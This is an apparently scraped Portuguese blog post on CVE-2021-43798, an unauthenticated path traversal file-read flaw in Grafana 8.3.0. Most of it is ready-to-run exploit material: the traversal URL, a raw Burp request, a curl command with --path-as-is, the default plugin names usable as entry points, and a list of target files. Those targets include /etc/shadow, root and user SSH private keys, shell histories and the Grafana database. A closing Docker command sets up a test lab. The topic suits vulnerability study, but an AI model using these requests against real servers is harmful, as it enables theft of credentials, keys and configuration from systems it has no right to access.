CVE-2021–43798 Grafana | Vulnerabilidade de leitura arbitrária não autorizada de arquivos

1 year ago 108
BOOK THIS SPACE FOR AD
ARTICLE AD

Versão 8.3.0

Exemplo: Capturando o arquivo
/etc/passwd

A Falha

A falha consiste em obter a leitura de arquivos locais sem a necessidade de credenciais válidas. É possível explorar a falha pelo BurpSuite , Curl ou
qualquer linguagem de preferência.

A URL vulnerável:

http://<IP_ALVO>:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

No Burp

Enviamos essa requisição

GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1
Host: localhost:3000
sec-ch-ua: “(Not(A:Brand”;v=”8", “Chromium”;v=”101"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: “Windows”
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

No Curl

Com a opção “ — path-as-is podemos enviar via Curl a seguinte requisição

curl — path-as-is http://<IP_ALVO>:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

Lista dos Plugins Padrões

Esta falha explora esses plugins padrões do sistema

alertlist
annolist
grafana-azure-monitor-datasource
barchart
bargauge
cloudwatch
dashlist
elasticsearch
gauge
geomap
gettingstarted
stackdriver
graph
graphite
heatmap
histogram
influxdb
jaeger
logs
loki
mssql
mysql
news
nodeGraph
opentsdb
piechart
pluginlist
postgres
prometheus
stat
state-timeline
status-history
table
table-old
tempo
testdata
text
timeseries
welcome
zipkin

Arquivos Interessantes para Explorar

Alguns arquivos interessantes que é possível vizualizar com a falha

/conf/defaults.ini
/etc/grafana/grafana.ini
/etc/passwd
/etc/shadow
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline

Criando um Ambiente de Testes

É possível recriar a falha em um ambiente de teste via Docker. Após ter feito as configurações iniciais do docker, basta seguir este comando

docker run — name=grafana -p 3000:3000 grafana/grafana-enterprise:8.3.0

Depois basta acessar http://localhost:3000 e explorar

Read Entire Article